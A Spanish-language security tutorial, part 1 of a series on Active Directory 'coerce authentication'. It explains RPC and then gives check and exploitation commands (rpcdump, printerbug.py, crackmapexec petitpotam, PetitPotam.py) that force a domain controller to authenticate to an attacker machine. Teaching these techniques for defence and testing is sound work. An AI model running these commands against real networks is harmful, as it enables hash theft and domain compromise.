Coerce | Parte 1
Compartir
Dentro del entorno de Active Directory, los atacantes recurren a autenticaciones forzadas y estrategias de MitM para llevar a cabo diversas acciones. Es por ello por lo que, en esta ocasión, entraremos en el tema de Coerce Authentication. A lo largo de diferentes posts explicaremos las diferentes formas de realizar esta técnica, además de como enlazarlo con otros ataques para elevar privilegios en un dominio.
“Coerce authentication” es una técnica que, mediante las llamadas a los Remote Procedure Calls (RPC) de Windows, fuerza a un servicio a que se autentique contra una máquina. Mediante esta técnica, un atacante puede forzar a servidor vulnerable a autenticarse contra una máquina controlada por el atacante y de esta forma, llegar a obtener el hash de la contraseña de la cuenta de máquina en formato NetNTLM.
Una cuenta de máquina en redes Windows se refiere a una identidad única asociada a un dispositivo en la red. Las cuentas de máquina son esenciales para establecer la comunicación y la colaboración entre dispositivos dentro de un entorno de red con sistemas operativos Windows.
Una vez obtenido el hash de la cuenta de una máquina, se abren un abanico de posibles técnicas para poder aprovechar esta autenticación para suplantar a la víctima. Parte de la criticidad de esta técnica, radica en que una máquina es la víctima. Por ejemplo, si esta técnica es utilizada contra un controlador de dominio, es posible llegar a comprometer la totalidad del dominio, elevando así la criticidad de dicha técnica.
¿Qué es RPC?
RPC son las siglas de Remote Procedure Call (Llamada a Procedimiento Remoto) la cual, es una forma de comunicación entre procesos (IPC). Esta tecnología permite a las aplicaciones enviarse señales entre sí para realizar una operación.
En los entornos Windows, se hace un uso intensivo de RPC para muchos servicios diferentes, como la programación de tareas, la creación de servicios, la configuración de impresoras, configuración de recursos compartidos, la gestión de datos cifrados almacenados de forma remota, entre otros…
Debido a la naturaleza de RPC como vector remoto, atrae mucha atención desde el punto de vista de la seguridad informática.
Principales RPC Vulnerables
A continuación, se procede a enumerar los principales RPC vulnerables conocidos para el uso de la técnica “Coerce Authentication”.
Cabe destacar que, para la explotación de dichos RPC, es necesario tener una cuenta de un usuario del domino valida, aunque en el caso del RPC conocido como MS-EFSR, es posible llegar a ejecutarlo sin un usuario.
Para este segundo caso, donde la explotación era de forma anónima, Microsoft sí que ha considerado esto una vulnerabilidad y ha sacado parches de seguridad para su corrección.
MS-RPRN
MS-RPRN es el Remote Procedure Call relacionado con el protocolo de sistema de impresión remoto.
Print Spooler de Microsoft es un servicio que gestiona los trabajos de impresión y otras tareas relacionadas con la impresión. Un atacante que controle un usuario/ordenador de dominio puede, con una llamada RPC específica, activar el servicio spooler de un objetivo que lo esté ejecutando y hacer que se autentique en un objetivo elegido por el atacante. Este comportamiento está marcado como “Wont Fix” desde Microsoft y está habilitado por defecto en todos los entornos Windows.
Comprobación
Para comprobar si un RPC está habilitado en el equipo de la víctima, se puede hacer uso de la herramienta rpcdump de impacket:
Comando: python3 rpcdump.py @dc.corp.lab | grep ‘MS-RPRN’
Explotación
Comando: python3 printerbug.py “CORP/bob:<password> @dc.corp.lab” attack_machine
MS-EFSR
Comprobación
Comando: crackmapexec smb dc.corp.lab -M petitpotam
Explotación
Comando: python3 PetitPotam.py -u “” -p “” -d “” attack_machine dc.corp.lab